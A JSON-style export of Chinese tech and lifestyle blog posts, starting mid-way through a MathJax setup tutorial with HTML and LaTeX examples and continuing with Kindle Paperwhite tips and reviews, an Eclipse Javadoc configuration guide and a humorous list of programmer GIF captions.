的語法把數學式子寫進網頁中，它會自動幫你排版並產生 HTML、SVG 或是 MathML 的方程式，讓各種瀏覽器都可以看，效果幾乎跟傳統上的 LaTeX 一樣，非常厲害。\n傳統上如果要在網頁上顯示專業排版的數學式子，大概都只能靠 LaTeX 排版之後，透過一些編譯工具把 LaTeX 轉成圖片檔，再放進網頁中，雖然有很多線上編譯 LaTeX 的工具可以使用，但是最終還是需要自己內崁圖檔，並不是很方便。\n現在有了 MathJax 這個工具，使用起來既方便效果又好，下面這個就是使用 MathJax 所排版出來的效果：\nWhen \\(a \\ne 0\\), there are two solutions to \\(ax^2 + bx + c = 0\\) and they are $$x = {-b \\pm \\sqrt{b^2-4ac} \\over 2a}.$$A Cross Product Formula：\n$$\\mathbf{V}\\_1 \\times \\mathbf{V}\\_2 = \\begin{vmatrix} \\mathbf{i} \u0026 \\mathbf{j} \u0026 \\mathbf{k} \\\\ \\frac{\\partial X}{\\partial u} \u0026 \\frac{\\partial Y}{\\partial u} \u0026 0 \\\\ \\frac{\\partial X}{\\partial v} \u0026 \\frac{\\partial Y}{\\partial v} \u0026 0 \\end{vmatrix}$$An Identity of Ramanujan：\n$$\\frac{1}{\\Bigl(\\sqrt{\\phi \\sqrt{5}}-\\phi\\Bigr) e^{\\frac25 \\pi}} = 1+\\frac{e^{-2\\pi}} {1+\\frac{e^{-4\\pi}} {1+\\frac{e^{-6\\pi}} {1+\\frac{e^{-8\\pi}} {1+\\ldots} } } }$$這些都是將原始的 LaTeX 直接寫在網頁中的，在這些數學式子上點右鍵，還可以直接看到該式子的原始 LaTeX 程式碼：\n選擇「TeX Commands」打開之後，就會看到程式碼：\n如果想使用 MathJax 的話，主要有有幾種方式，你可以直接使用 cdn.mathjax.org 上面提供的連結，或是將 MathJax 的 JavaScript 檔直接下載下來，放在自己的網頁伺服器中使用，或是放在自己的電腦中使用（在沒有連上網路的時候）。以下是各種情況的教學。\n使用 MathJax Content Delivery Network（CDN） 要使用 MathJax 最直接的方式就是直接使用 CDN 所提供的服務，只要在自己的網頁加入 MathJax 函式庫的連結就可以直接使用，以下是設定步驟。\n首先在網頁的 header 部分加入載入 MathJax JavaScript 的程式碼，也就是在 \u0026lt;head\u0026gt; 與 \u0026lt;/head\u0026gt; 之間加入：\n\u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML\u0026#34;\u0026gt; \u0026lt;/script\u0026gt; 而這段 JavaScript 也可以加在 \u0026lt;body\u0026gt; 之中，但一般來說都會把他放在 \u0026lt;head\u0026gt; 的部份，除非不想更動 \u0026lt;head\u0026gt; 的時候，才會改放在 \u0026lt;body\u0026gt; 之中（下面會介紹這樣的狀況）。\n引入這段 MathJax 的 JavaScript 程式碼之後，它會自動從分散式的伺服器上載入最新版的 MathJax，然後使用預設的設定值將網頁中的 TeX 或 MathML 語法轉換為 MathML（在瀏覽器支援的情況下）或 HTML 與 CSS 來顯示數學式子，這是完全沒有做任何設定時，預設會執行的動作，這對於大部份的使用者而言，應該是很夠用了，而如果需要的也可以自己加入額外的參數設定，設定方式可參考 MathJax 的官方文件。\n使用加密的 CDN 上面這個方式是透過一般的 HTTP 連線從 cdn.mathjax.org 抓取 JavaScript 程式碼，這個方式有潛在的安全性風險，有可能會遭受 man in the middle 的攻擊。如果想避免這個風險，則可以透過 HTTPS 加密的連線來使用 MathJax CDN 伺服器，而使用方式只是簡單的將 src 的內容改一下而已：\n\u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;https://c328740.ssl.cf1.rackcdn.com/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML\u0026#34;\u0026gt; \u0026lt;/script\u0026gt; 安裝自己的 MathJax 在一般的狀況下建議是以上述的 CDN 方式來使用 MathJax，但你也可以直接把 MathJax 的 JavaScript 函式庫直接安裝在自己的伺服器上，或是放在本機使用。\n若要把 MathJax 安裝在自己的機器上使用，基本上有下面幾個步驟：\n將 MathJax 下載後放在自己的伺服器或電腦上。 依據自己的需求設定 MathJax。 將 MathJax 連結至要使用數學式子的網頁中。 把數學式子放上網頁。 取得與安裝 MathJax MathJax 函式庫可以從 MathJax 的官方網站直接下載，下載下來的檔案大概會是一個類似 mathjax-MathJax-v2.1-X-XXXXXXXX.zip 的壓縮檔，這個壓縮檔中包含了 MathJax 的原始程式碼與網頁字型，其中已經包含所有你所需要的東西。（舊版的 MathJax 會有些差異，若在 1.0 版以前，網頁字型與程式碼是分開的）\n將下載下來的壓縮黨解壓縮之後，在自己的網頁伺服器上選擇一個地方將 MathJax 資料夾放上去，當然這個放置的位置要可以被其他網頁引入的才行，例如放在網頁的最上層目錄中的話，則在伺服器上的網頁要引入 MathJax 的時候，URL 位址就寫成 /MathJax/MathJax.js。\n上面這個方式是最簡單的使用方法，然而還有其他更好的方式可以讓你自己伺服器中的 MathJax 版本自動更新，例如使用 Git 或是 Subversion 進行自動更新，這部分可參考 MathJax 的官方文件。\n當安裝好 MathJax 之後，你可以使用 MathJax/test 目錄中的檔案進行測試，如果你是將 MathJax 放置在伺服器中，則可開啓瀏覽器瀏覽其中的 index.html，瀏覽的時候網址要輸入類似 http://192.168.0.1/MathJax/test/index.html 類似這樣以 http:// 開頭的網址，不要用 file:// 的，如果安裝正確，應該會看到正常的畫面，如果有問題的話，就要檢查在檔案放置的過程是否有出錯，或是檔案權限是否有設定正確等，另外亦可檢查伺服器的記錄檔看看是否有出現什麼問題。\n設定自己的 MathJax 在預設的狀況下，加入 MathJax 的網頁會載入 config/TeX-AMS-MML_HTMLorMML.js，而這個 JavaScript 會自動載入一般最常用的 MathJax 模組，讓網頁可以呈現以 TeX、LaTeX 或 MathML 表示的數學式子，如果瀏覽器支援的話，他會產生 MathML 的格式，否則就會使用傳統的 HTML 加上 CSS 的方式來顯示。\n在 MathJax 中有許多已經預先寫好的設定組態，你可以直接使用，或是使用 config/default.js 這個預設值，再加以修改，詳細說明可參考 MathJax 的文件。\n連結自己的 MathJax 至網頁中 若要將自己安裝的 MathJax 連結至網頁中，做法跟上面使用 CDN 的方式很像，在在 \u0026lt;head\u0026gt; 與 \u0026lt;/head\u0026gt; 之間加入下面這段程式碼：\n\u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;path-to-MathJax/MathJax.js?config=TeX-AMS-MML_HTMLorMML\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 其中 path-to-MathJax 要替換成自己的 MathJax 安裝路徑，如果你是將 MathJax 安裝在網頁的最上層目錄中的話，就會是這樣：\n\u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;/MathJax/MathJax.js?config=TeX-AMS-MML_HTMLorMML\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 在網頁中加入數學式子 如果想在網頁中使用加入可以讓 MathJax 處理的數學式子，可以使用 TeX、LaTeX、MathML 或是 AsciiMath 這幾種方式，甚至將這幾種表示方式在網頁中混合使用也可以，上面範例的設定是設定讓 MathJax 處理 TeX 與 MathML 兩種，如果要使用其他的方式，你必須先設定好要使用的方式，以下介紹各種不同的方式如何設定。\nTeX 與 LaTeX 在 TeX 與 LaTeX 中的數學式子是使用其專用的數學分隔符號（math delimiters）來與一般文字區隔的，只要是被數學分隔符號包起來的部分就會被 MathJax 視為是一個數學式子，然後它就會對這部分進行數學的排版。\n一般數學式子分為兩種，一種是出現在文章中間的 in-line 數學式子，一種是獨立於一般文字，自己一行的 displayed 數學式子，如果要顯示 in-line 數學式子的話，可以使用 \\(...\\)，而 displayed 數學式子則可使用 $$...$$ 與 \\[...\\]，這裡要注意一下，一般在 TeX 與 LaTeX 中常用的 $...$ 這種 in-line 方式，在 MathJax 中不支援，原因是一般的文字出現錢字號（$）的機會很高，如果支援這樣的表示法常常會造成一些不是數學式子的文字被 MathJax 誤判為數學式子，但如果你還是很想使用這個語法的話，也可以更改設定檔，啟用這樣的語法：\n\u0026lt;script type=\u0026#34;text/x-mathjax-config\u0026#34;\u0026gt; MathJax.Hub.Config({ tex2jax: {inlineMath: [[\u0026#39;$\u0026#39;,\u0026#39;$\u0026#39;], [\u0026#39;\\\\(\u0026#39;,\u0026#39;\\\\)\u0026#39;]]} }); \u0026lt;/script\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;path-to-mathjax/MathJax.js?config=TeX-AMS-MML_HTMLorMML\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 下面這個是一個完整的 TeX 範例：\n\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;MathJax TeX Test Page\u0026lt;/title\u0026gt; \u0026lt;script type=\u0026#34;text/x-mathjax-config\u0026#34;\u0026gt; MathJax.Hub.Config({tex2jax: {inlineMath: [[\u0026#39;$\u0026#39;,\u0026#39;$\u0026#39;], [\u0026#39;\\\\(\u0026#39;,\u0026#39;\\\\)\u0026#39;]]}}); \u0026lt;/script\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML\u0026#34;\u0026gt; \u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; When $a \\ne 0$, there are two solutions to \\(ax^2 + bx + c = 0\\) and they are $$x = {-b \\pm \\sqrt{b^2-4ac} \\over 2a}.$$ \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 因為這個 TeX 表示法也是網頁內容的一部分，在輸入數學式子時，要小心不要輸入到一些 HTML 的關鍵字，尤其是在輸入小於符號（\u0026lt;）的時候，記得要在前後都留一個空白，避免瀏覽器將其誤判為 HTML 標籤。\n若你是在部落格、Wiki 或是類似的 CMS（content management system）的系統中使用 MathJax，這些環境中所使用的語法可能會與 MathJax 衝突，如果發生類似的問題，可以參考 TeX and LaTeX support。\n在使用 TeX-AMS-MML_HTMLorMML 這個設定時，有一些用於 TeX 處理的擴充功能會自動載入，包含：\nTeX/AMSmath.js：定義一些 AMS 的數學環境與巨集（macros）。 TeX/AMSsymbols.js：定義一些 msam10 與 msbm10 字型中的符號。 TeX/noErrors.js：在無法正常顯示數學式子時，顯示原始的 TeX 程式碼。 TeX/noUndefined.js：當碰到未定義的巨集時，顯示紅色的巨集名稱，避免產生錯誤訊息。 其餘的擴充功能在需要的時候，也會自動載入，關於其餘的擴充功能可以參考 TeX and LaTeX support。\nMathML 如果是想以 MathML 來表示數學式子，你可以使用標準的 \u0026lt;math\u0026gt; 標籤，\u0026lt;math display=\u0026quot;block\u0026quot;\u0026gt; 表示 displayed 的數學式子，而 \u0026lt;math display=\u0026quot;inline\u0026quot;\u0026gt; 或是 \u0026lt;math\u0026gt; 則代表 in-line 的數學式子。\n在使用 \u0026lt;math\u0026gt; 標籤時，建議加入 xmlns=\u0026quot;http://www.w3.org/1998/Math/MathML\u0026quot; 這個屬性，這樣可以增加其相容性。\n以下是完整的範例：\n\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;MathJax MathML Test Page\u0026lt;/title\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML\u0026#34;\u0026gt; \u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;p\u0026gt; When \u0026lt;math xmlns=\u0026#34;http://www.w3.org/1998/Math/MathML\u0026#34;\u0026gt; \u0026lt;mi\u0026gt;a\u0026lt;/mi\u0026gt;\u0026lt;mo\u0026gt;\u0026amp;#x2260;\u0026lt;/mo\u0026gt;\u0026lt;mn\u0026gt;\u0026lt;/mn\u0026gt; \u0026lt;/math\u0026gt;, there are two solutions to \u0026lt;math xmlns=\u0026#34;http://www.w3.org/1998/Math/MathML\u0026#34;\u0026gt; \u0026lt;mi\u0026gt;a\u0026lt;/mi\u0026gt;\u0026lt;msup\u0026gt;\u0026lt;mi\u0026gt;x\u0026lt;/mi\u0026gt;\u0026lt;mn\u0026gt;2\u0026lt;/mn\u0026gt;\u0026lt;/msup\u0026gt; \u0026lt;mo\u0026gt;+\u0026lt;/mo\u0026gt; \u0026lt;mi\u0026gt;b\u0026lt;/mi\u0026gt;\u0026lt;mi\u0026gt;x\u0026lt;/mi\u0026gt; \u0026lt;mo\u0026gt;+\u0026lt;/mo\u0026gt; \u0026lt;mi\u0026gt;c\u0026lt;/mi\u0026gt; \u0026lt;mo\u0026gt;=\u0026lt;/mo\u0026gt; \u0026lt;mn\u0026gt;\u0026lt;/mn\u0026gt; \u0026lt;/math\u0026gt; and they are \u0026lt;math xmlns=\u0026#34;http://www.w3.org/1998/Math/MathML\u0026#34; display=\u0026#34;block\u0026#34;\u0026gt; \u0026lt;mi\u0026gt;x\u0026lt;/mi\u0026gt; \u0026lt;mo\u0026gt;=\u0026lt;/mo\u0026gt; \u0026lt;mrow\u0026gt; \u0026lt;mfrac\u0026gt; \u0026lt;mrow\u0026gt; \u0026lt;mo\u0026gt;\u0026amp;#x2212;\u0026lt;/mo\u0026gt; \u0026lt;mi\u0026gt;b\u0026lt;/mi\u0026gt; \u0026lt;mo\u0026gt;\u0026amp;#x00B1;\u0026lt;/mo\u0026gt; \u0026lt;msqrt\u0026gt; \u0026lt;msup\u0026gt;\u0026lt;mi\u0026gt;b\u0026lt;/mi\u0026gt;\u0026lt;mn\u0026gt;2\u0026lt;/mn\u0026gt;\u0026lt;/msup\u0026gt; \u0026lt;mo\u0026gt;\u0026amp;#x2212;\u0026lt;/mo\u0026gt; \u0026lt;mn\u0026gt;4\u0026lt;/mn\u0026gt;\u0026lt;mi\u0026gt;a\u0026lt;/mi\u0026gt;\u0026lt;mi\u0026gt;c\u0026lt;/mi\u0026gt; \u0026lt;/msqrt\u0026gt; \u0026lt;/mrow\u0026gt; \u0026lt;mrow\u0026gt; \u0026lt;mn\u0026gt;2\u0026lt;/mn\u0026gt;\u0026lt;mi\u0026gt;a\u0026lt;/mi\u0026gt; \u0026lt;/mrow\u0026gt; \u0026lt;/mfrac\u0026gt; \u0026lt;/mrow\u0026gt; \u0026lt;mtext\u0026gt;.\u0026lt;/mtext\u0026gt; \u0026lt;/math\u0026gt; \u0026lt;/p\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 在一般的 HTML 網頁中如果使用 MathML 的表示法，所有的數學元素都要以成對的標籤來表示，不可以使用 self-closing 的標籤，例如：\n\u0026lt;mspace width=\u0026#34;5pt\u0026#34;\u0026gt;\u0026lt;/mspace\u0026gt; 就不可以使用 \u0026lt;mspace width=\u0026quot;5pt\u0026quot; /\u0026gt; 來取代，如果你使用這樣的 self-closing 標籤的話，有一些瀏覽器會無法建立正確的樹狀結構，導致 MathJax 接收到的數學式子結構錯誤，最後也就無法顯示正確的數學式子。由於這樣的問題是因為瀏覽器的解析錯誤造成的，所以 MathJax 也無能為力，唯一的解決方式就是按照這個規則來使用它。\nAsciiMath MathJax 2.0 版之後加入了一個新的數學式子表示方式：AsciiMath，其語法是將數學式子以反引號包起來，就像這樣：`...`。\n下面是一個完整的範例：\n\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;MathJax AsciiMath Test Page\u0026lt;/title\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;../MathJax.js?config=AM_HTMLorMML-full\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;p\u0026gt;When `a != 0`, there are two solutions to `ax^2 + bx + c = 0` and they are\u0026lt;/p\u0026gt; \u0026lt;p style=\u0026#34;text-align:center\u0026#34;\u0026gt; `x = (-b +- sqrt(b^2-4ac))/(2a) .` \u0026lt;/p\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; ","permalink":"https://blog.gtwang.org/web-development/mathjax-latex-mathml/","summary":"\u003cp\u003e\u003ca href=\"https://www.mathjax.org/\"\u003eMathJax\u003c/a\u003e 這個 JavaScript 工具可以讓你直接使用 LaTeX、MathML 或 AsciiMath 的語法把數學式子寫進網頁中，它會自動幫你排版並產生 HTML、SVG 或是 MathML 的方程式，讓各種瀏覽器都可以看，效果幾乎跟傳統上的 LaTeX 一樣，非常厲害。\u003c/p\u003e","title":"使用 MathJax 把 LaTeX 或 MathML 數學式子放進網頁"},{"content":"這篇文章教你如何在 Amazon 的 Kindle Paperwhite 中擷取螢幕畫面快照，並且抓回電腦中。\n在 Kindle Paperwhite 上截取畫面方法就是用兩隻手指同時點一下螢幕的左上角與右下角，或是同時點一下右上角與左下角也可以，總之就是同時點一下兩個對角，然後螢幕就會閃一下，這樣就代表已經截取了目前的畫面了。\n在 Kindle Paperwhite 將畫面截取完成之後，接著就可以使用 USB 連接線，接上電腦，把圖檔抓出來。\n在電腦中開啟 Kindle Paperwhite 時，應該就會直接看到剛剛照的圖與視窗資訊的文字檔，其檔名是依照建立的時間來命名的，而那些文字檔對於一般人而言是沒有用的，可以直接刪除，把圖檔抓回來就好了。\n下面這張就是我從自己的 Kindle Paperwhite 所抓出來的螢幕畫面：\n參考資料 Good E-Reader ","permalink":"https://blog.gtwang.org/life/amazon-kindle-paperwhite-screenshot/","summary":"\u003cp\u003e這篇文章教你如何在 Amazon 的 Kindle Paperwhite 中擷取螢幕畫面快照，並且抓回電腦中。\u003c/p\u003e\n\u003cp\u003e在 Kindle Paperwhite 上截取畫面方法就是用兩隻手指同時點一下螢幕的左上角與右下角，或是同時點一下右上角與左下角也可以，總之就是同時點一下兩個對角，然後螢幕就會閃一下，這樣就代表已經截取了目前的畫面了。\u003c/p\u003e","title":"擷取 Amazon Kindle Paperwhite 螢幕畫面快照教學"},{"content":"亞馬遜 Amazon Kindle Paperwhite 在預設的情況下，首頁下方應該會有一欄「Recommended Content」，這裡教大家如何把它關閉，讓首頁更簡潔。\n「Recommended Content」裡面會顯示一些 Amazon 每天推薦給讀者的內容，像是特價的書籍等等：\n但是這些推薦的書籍大都是要花錢買的，像我這種不想花錢的人，這種功能對我來說根本沒有用，而每次開啓 Kindle 就會看到他佔了一半的版面，實在很浪費空間。\n後來發現，其實這個「Recommended Content」是可以關閉的，只要設定一下就可以了，以下是設定步驟教學。\nStep 1\n首先開啟首頁右上角的主選單，選擇「Settings」。\nStep 2\n選擇「Device Options」。\nStep 3\n選擇「Personalize Your Kindle」。\nStep 4\n選擇「Recommended Content」，將其關閉就可以了。\n關閉「Recommended Content」之後，首頁就只會出現自己的書籍。\n","permalink":"https://blog.gtwang.org/life/kindle-paperwhite-disable-recommended-content/","summary":"\u003cp\u003e亞馬遜 Amazon Kindle Paperwhite 在預設的情況下，首頁下方應該會有一欄「Recommended Content」，這裡教大家如何把它關閉，讓首頁更簡潔。\u003c/p\u003e\n\u003cp\u003e「Recommended Content」裡面會顯示一些 Amazon 每天推薦給讀者的內容，像是特價的書籍等等：\u003c/p\u003e","title":"關閉亞馬遜 Amazon Kindle Paperwhite 首頁的 Recommended Content 教學，讓 Kindle 版面更簡潔"},{"content":"這是我從露天拍賣網站上的[美國代購賣家][1]那裡購買的 Kindle Paperwhite 亞馬遜電子書閱讀器二代帆布保護套。\n原本應該要寫開箱文的，但是最近實在是太忙了，箱子就省略了，直接看主體吧。\n這一款帆布保護套一共有四種不同的顏色，我個人是偏好米色的，而這個顏色也是常常缺貨的顏色，當初定的時候，等了一個多禮拜，不過我覺得這樣的時間是可以接受的。\n保護套下方特別為 Kindle Paperwhite 設計過，剛好會把 MicroUSB 插孔與電源按鈕露出來。\n上方則是沒有留孔的設計。\n這是打開後的狀況，他的蓋子他是使用磁鐵吸附的設計，所以看起來很簡潔，不像上一代還有扣環，而且當蓋上蓋子時，Kindle Paperwhite 也會自動休眠，跟官方的保護套一樣，這個設計很不錯。\n有些人會擔心這樣的帆布套子會不會鬆鬆的，其實他這一代設計的不錯，在裝 Kindle Paperwhite 的部分多加了一片類似信封封口用的皮，當 Kindle Paperwhite 放進去之後，再把它塞進縫裡去。\n裝好之後就像這樣，如果是上一代的保護套沒有這個設計，這裡就會開開的不好看，而且也會比較鬆，而這一代就好很多。\n這個保護套唯一的小缺點就是他的重量有一點重，跟一般的保護套比較起來，他稍微重一點（其實只有重一點點啦，只是我比較在意這個），但是如果議一般男生拿起來的話，應該都還是在可接受的範圍之內。\n在厚度的部分，它也比一般的保護套厚，當然這應該不能算是缺點，因為比較厚的話，在不小心掉落時才能保護 Kindle Paperwhite，整體而言，這個保護套我是很滿意。\n這個保護套我在露天犬爸買的時候，還有送一張 Kindle Paperwhite 專用的螢幕保護貼，總共才 439 元，還免運費，包裝也很專業，這種不太怕摔的東西，還幫我用很厚的泡泡袋封好，才放進紙箱寄送，感覺很好，如果你也想買這款，我是建議可以上露天拍賣跟他買。\n","permalink":"https://blog.gtwang.org/unboxing/kindle-paperwhite-protection-cover/","summary":"\u003cp\u003e這是我從露天拍賣網站上的[美國代購賣家][1]那裡購買的 Kindle Paperwhite 亞馬遜電子書閱讀器二代帆布保護套。\u003c/p\u003e\n\u003cp\u003e原本應該要寫開箱文的，但是最近實在是太忙了，箱子就省略了，直接看主體吧。\u003c/p\u003e","title":"Kindle Paperwhite 亞馬遜電子書閱讀器二代帆布保護套（具自動休眠功能）"},{"content":"最近從露天拍賣網站買了一個日本版的 Amazon Kindle Paperwhite 亞馬遜電子書閱讀器，把一些開箱照片順便放上來。\n我之所以要買這個閱讀器，主要是因為他的 e-ink 電子紙技術可以讓眼睛在閱讀文章時更舒服，因為它不像一般 LCD 螢幕是自發性的光源，所以基本上看起來的感覺會跟紙本的書籍很像，長時間比較不會對眼睛造成刺激，甚至在室外的陽光下都可以閱讀。\n因為日本削價競爭的關係，同樣的 Kindle Paperwhite 在日本的售價比美國低很多，又沒有廣告，所以現在網路上大都是買日本的版本，但其實日本的版本除了包裝之外，內容都是一樣的。\n以下是開箱照片。\nKindle Paperwhite 的外盒。\n最外層抽出來之後，裡面還有一個盒子。\n這樣的封條式包裝可以確保產品是全新的，沒有被拆封過。\n很有質感的盒子。\n拆封！\n這就是 Kindle Paperwhite！\n盒蓋上有說明書。\n配件只有一條很長的 USB 傳輸線，充電也是使用這條線。\nKindle Paperwhite 背面。\n這是 Kindle Paperwhite 拆開塑膠套的樣子。\n下方有一個 micro USB 接孔（左）與一個電源按鈕（右），而中間有一個 LED 燈，在充電時會亮。\n背面的樣子。\n這是充電時的狀況，如果還沒充飽的話，LED 的會顯示橘色的，充飽後則顯示綠色。\n開機後的樣子。\n螢幕的解析度很高，越讀起來感覺很細緻。\n接著就是最讓我期待的部分，買這個 Kindle Paperwhite 電子書閱讀器就是為了閱讀方便、且不傷眼睛，基本上最不傷眼的光線就是自然光，在以前如果想要在自然光的狀況下閱讀，就只能看紙本的書籍，如果使用類似 iPad 這樣的平板電腦閱讀，基本上眼睛接受的光線都不是自然光，看久眼睛容易疲勞（尤其是看白底黑字的文字時），而且若在白天室外的情況，用 iPad 看書更是痛苦，雖然螢幕亮度調到最大時，還是可以看得很清楚，但是看久了眼睛就會容易累。\n而現在用 Kindle 的 e-ink 技術，就沒有上面這些問題了，他非常適合在自然光下閱讀文字，看起來的感覺基本上跟真正的紙感覺差不多，接下來就來測試在一般戶外的狀況，閱讀的效果如何。\n首先是在大太陽底下的狀況，效果果然不同凡響，螢幕非常清楚。\n看文字也沒問題。\n通常我的閱讀習慣會喜歡在天氣好的時候，找個樹蔭或是陰影下看書，下面這張照片這是在陰影下的狀況，基本上看起來就跟紙本一樣，跟一般螢幕比起來，看這個眼睛會輕鬆很多，尤其我又常常需要看大量的文件，如果用 iPad 就真的很痛苦。\n基本上 Amazon Kindle Paperwhite 因為價格很便宜，在台灣找代購的商家，三千五以內就可以買得到，再加個副廠保護套與螢幕保護貼，四千塊就有一個這樣的閱讀器，對於常常閱讀的人來說，個人覺得非常划算，畢竟眼睛的健康還是很重要的，光是讓眼睛容易閱讀這一點，就值這個錢了，另外他有內建英漢字典，在閱讀英文時，查單字超方便。\n但因為它的價格低廉，所以當然有一些缺點，像是操作上的反應不如 iPad 這類平板電腦迅速，另外在看 PDF 檔案時，因為無法自動動態排版，所以閱讀上不是很方便，而如果是 Amazon 自己的書籍格式，就沒這個問題。\n在語系的部分目前只有簡體的，而因為我不習慣簡體字，所以直接使用英文的語系，但請注意他只是「語系」沒有繁體中文，不代表不能顯示繁體中文，如果你想用它看繁體中文的書籍是沒有問題的。\n","permalink":"https://blog.gtwang.org/unboxing/amazon-kindle-paperwhite/","summary":"\u003cp\u003e最近從露天拍賣網站買了一個日本版的 Amazon Kindle Paperwhite 亞馬遜電子書閱讀器，把一些開箱照片順便放上來。\u003c/p\u003e\n\u003cp\u003e我之所以要買這個閱讀器，主要是因為他的 e-ink 電子紙技術可以讓眼睛在閱讀文章時更舒服，因為它不像一般 LCD 螢幕是自發性的光源，所以基本上看起來的感覺會跟紙本的書籍很像，長時間比較不會對眼睛造成刺激，甚至在室外的陽光下都可以閱讀。\u003c/p\u003e","title":"[開箱] Amazon Kindle Paperwhite 亞馬遜電子書閱讀器"},{"content":"在 Eclipse 中若安裝 Jar 函式庫而沒有設定 Source 與 Javadoc，就會無法看到函式庫的說明與程式碼，這裡教大家如何在 Eclipse 中正確設定 Source 與 Javadoc 的 Jar 檔。\n在使用 Eclipse 撰寫 Java 程式時，我們常常會需要觀看類別的說明，正常來說在程式碼中，將滑鼠移到一個類別上就會出現類似這樣的類別說明：\n或是利用 Eclipse 的 Javadoc 的籤頁也可以查閱這類的文件。\n但如果是從網路上下載一些 Jar 函式庫，如果沒有設定好 javadoc 的話，就會無法使用像這樣的查詢功能，嘗試開啓說明文件時，就會出現下面這個訊息：\nNote: This element neither has attached source nor attached Javadoc and hence no Javadoc could be found 就像這樣：\n另外，在使用 Eclipse 來 trace 程式碼時，一般都會按住 Ctrl 鍵然後點擊要看的類別或是方法等，這樣就會開啓該類別或是方法的原始程式碼，但是如果 trace 到自己安裝的 Jar 函式庫時，如果沒有設定好 source 的話，就會出現「Source not found」的訊息：\n以下介紹如何在 Eclipse 設定一般 Jar 函式庫的 javadoc 與 source，讓程式開發更方便。\n這裡我們以 Apache Commons Fileupload 這個開放原始碼的函式庫作為示範。\n首先打開我們所下載的 commons-fileupload-1.3 函式庫資料夾。\n通常如果是開放原始碼的 Java 函式庫，都會包裝成 Jar 的壓縮檔，而且應該會分成編譯好的二進位（binary）函式庫、javadoc 與 sources 三個檔案，在這裡對應的就是 commons-fileupload-1.3.jar、commons-fileupload-1.3-javadoc.jar 與 commons-fileupload-1.3-sources.jar 三個檔案，如果安裝時只有加入二進位函式庫的 Jar 檔的話，雖然程式可以跑，但是就無法進行程式碼的 trace 與查詢 javadoc 的功能。\n接著開啟 Eclipse，在 Project 上使用右鍵選單打開「Build Path」\u0026gt;「Configure Build Path」。\n這裡假設我們已經使用「Add JARs」將 commons-fileupload-1.3.jar 二進位的 Jar 檔設定好了，而要繼續設定 source 與 javadoc 的話，就點選該 Jar 函式庫左邊的三角形，將其子項目打開。\n打開之後，就會看到有 Source attachment 與 Javadoc location 兩個項目，這兩個項目就是對應我們所下載的 commons-fileupload-1.3-sources.jar 與 commons-fileupload-1.3-javadoc.jar 兩個檔，若要設定，就將該項目選取後，點選右方的「Edit」。\n然後選擇對應的 Jar 檔案位置：\njavadoc 的話，除了選擇自己電腦中的檔案之外，也可以直接指定網路上的 javadoc 位置。\n設定完成之後，就可以在 Eclipse 中直接查詢 org.apache.commons.fileupload 的 javadoc 文件了：\n而在 trace 程式碼時，也可以直接打開裡面的程式碼觀看：\n","permalink":"https://blog.gtwang.org/programming/eclipse-java-jar-source-javadoc/","summary":"\u003cp\u003e在 Eclipse 中若安裝 Jar 函式庫而沒有設定 Source 與 Javadoc，就會無法看到函式庫的說明與程式碼，這裡教大家如何在 Eclipse 中正確設定 Source 與 Javadoc 的 Jar 檔。\u003c/p\u003e\n\u003cp\u003e在使用 Eclipse 撰寫 Java 程式時，我們常常會需要觀看類別的說明，正常來說在程式碼中，將滑鼠移到一個類別上就會出現類似這樣的類別說明：\u003c/p\u003e","title":"在 Eclipse 中設定 Java 函式庫（JAR）的 Source 與 Javadoc 檔案，讓寫程式時看說明更方便"},{"content":"這裡搜集了一些很經典又很幽默的小動畫，反映了程式設計師的生活寫照，如果你也是程式設計師，你應該能體會。:)\n以下每個圖都是一個動畫，如果你發現圖沒有在動，可以用滑鼠點下去看。\n把一些寫好的東西放上去跑時：\n沒有靠 Google 而自己找到問題的解決方案時：\n把 IDE 關掉了，卻沒有儲存程式碼：\n在半夜三點要找一個 bug：\n你所寫的常規表示法（regular expression）很正確的處理完成你要的工作時：\n同事說來喝個下午茶：\n老闆說我開發的模組不會被用到：\n當你跟老闆說你修好了一個 bug：\n第一次在網頁上使用 CSS 時：\n當系統管理者給你 root 權限：\n花了幾小時寫好的程式，第一次跑的時候：\n當你在週末出去渡假，而其他人在辦公室修 bug：\n當老闆要找人修一個嚴重的 bug 時：\n如果在期限（deadline）之前完成，可以有額外的獎金：\n當使用者嘗試使用某個模組時：\n客戶在產品生產前兩天要改規格：\n在沒有規格的情況下開發：\n當老闆對我說：「測試是給那些不會寫程式的人用的。」\n當我聽到客戶說要出售那個模組：\n當老闆進入辦公室：\n參考資料 Java Code Geeks Homenaje a los desarrolladores 